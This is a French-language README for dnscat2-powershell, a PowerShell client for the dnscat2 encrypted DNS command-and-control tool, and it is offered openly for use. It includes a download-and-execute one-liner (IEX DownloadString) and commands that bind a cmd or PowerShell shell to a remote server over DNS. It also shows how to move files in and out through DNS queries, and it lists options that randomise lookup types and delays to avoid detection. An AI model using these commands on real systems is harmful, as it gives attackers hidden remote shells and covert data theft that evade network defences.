
Un client Powershell pour dnscat2, un outil de commande et contrôle DNS chiffré.
dnscat2 est un outil de canal caché DNS par @iagox86 (Ron Bowes) utilisé pour transférer des données via des requêtes DNS.
Il s'agit d'une version PowerShell du client C dnscat2.
Cliquez ici pour un article de blog qui donne une explication plus détaillée du but de ce script et de son utilisation.
Pour utiliser ce script, vous aurez besoin du serveur dnscat2 en Ruby. Assurez-vous d'ajouter l'option --no-cache lors de l'exécution du serveur. Ce client est incompatible avec la mise en cache du serveur.
Tout d'abord, installez le serveur dnscat2. Démarrez le serveur avec la mise en cache désactivée en utilisant --no-cache. La commande pour démarrer votre serveur devrait ressembler à ceci : ruby dnscat2.rb --dns="domain=example.com" --no-cache
Ensuite, lancez Windows PowerShell (version 2.0 ou ultérieure). Vous pouvez utiliser cette commande pour charger les fonctions PowerShell dnscat2 :
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 est la fonction réelle utilisée comme client. Spécifiez le serveur dnscat2 avec -Domain.
Démarrez une session de commande et envoyez des requêtes DNS à 8.8.8.8 sur le port 53 :
Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8
Envoyez un shell cmd et envoyez des requêtes DNS au serveur DNS par défaut défini dans Windows :
Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd
Démarrez une session console. Utilisez uniquement les requêtes CNAME, MX et AAAA :
Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console
Ne chiffrez pas la session. Le chiffrement est activé par défaut.
Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption
Le client peut gérer les commandes dnscat2 normales, ou la version PowerShell de cette commande. Pour utiliser la version PowerShell d'une commande, définissez des paramètres spécifiques que le client détectera (ce sont des commandes exécutées depuis une session de commande sur le serveur) :
Démarrez une nouvelle session qui simule un shell PowerShell, comme ExecPS :
exec psh
Téléchargez app.exe sur le serveur dans une chaîne hexadécimale stockée dans la variable PowerShell $app :
upload app.exe hex:$app
Téléchargez le tableau d'octets stocké dans la variable PowerShell $app vers app.exe sur le serveur :
download bytes:$app app.exe
-Domain <String> Le domaine utilisé par le serveur dnscat2.
-DNSServer <String> Le nom d'hôte ou l'adresse IP vers lequel envoyer les requêtes DNS. (Par défaut : défini par Windows)
-DNSPort <Int32> Le port vers lequel envoyer les requêtes DNS. (Par défaut : 53)
-Command Démarre une session de commande. (Par défaut)
-Exec <String> Lie les E/S d'un processus avec la session Dnscat2.
-Console Lie les E/S de la console avec la session Dnscat2.
-ExecPS Simule une session PowerShell et lie les E/S avec la session Dnscat2.
AVERTISSEMENT : La sortie tuera l'intégralité du client dnscat2, pas seulement la session.
-PreSharedSecret Définit le même secret sur le serveur pour authentifier et empêcher MITM.
-NoEncryption N'utilise pas le chiffrement.
-LookupTypes <String[]> Définit un tableau de types de recherche pour basculer aléatoirement entre eux.
Seuls les enregistrements TXT, MX, CNAME, A et AAAA sont pris en charge. Par défaut : @(TXT, MX, CNAME)
-Delay <Int32> Définit un délai entre chaque requête, en millisecondes. (Par défaut : 0)
-MaxRandomDelay <Int32> Définit la valeur maximale d'un délai aléatoire ajouté au délai normal, en millisecondes. (Par défaut : 0)
-MaxPacketSize <Int32> Longueur maximale d'un paquet dnscat2. (Par défaut : 240)
-Name <String> Le nom de votre session dnscat2. (Par défaut : nom d'hôte)
dnscat2-powershell simule une session PowerShell en transmettant les données du serveur à Invoke-Expression. Seule la sortie standard est renvoyée et les variables sont conservées tant que le client est en cours d'exécution. Attention aux choses qui quittent PowerShell comme "exit" et "break", car l'ensemble du client dnscat2-powershell se fermera, pas seulement la session ExecPS.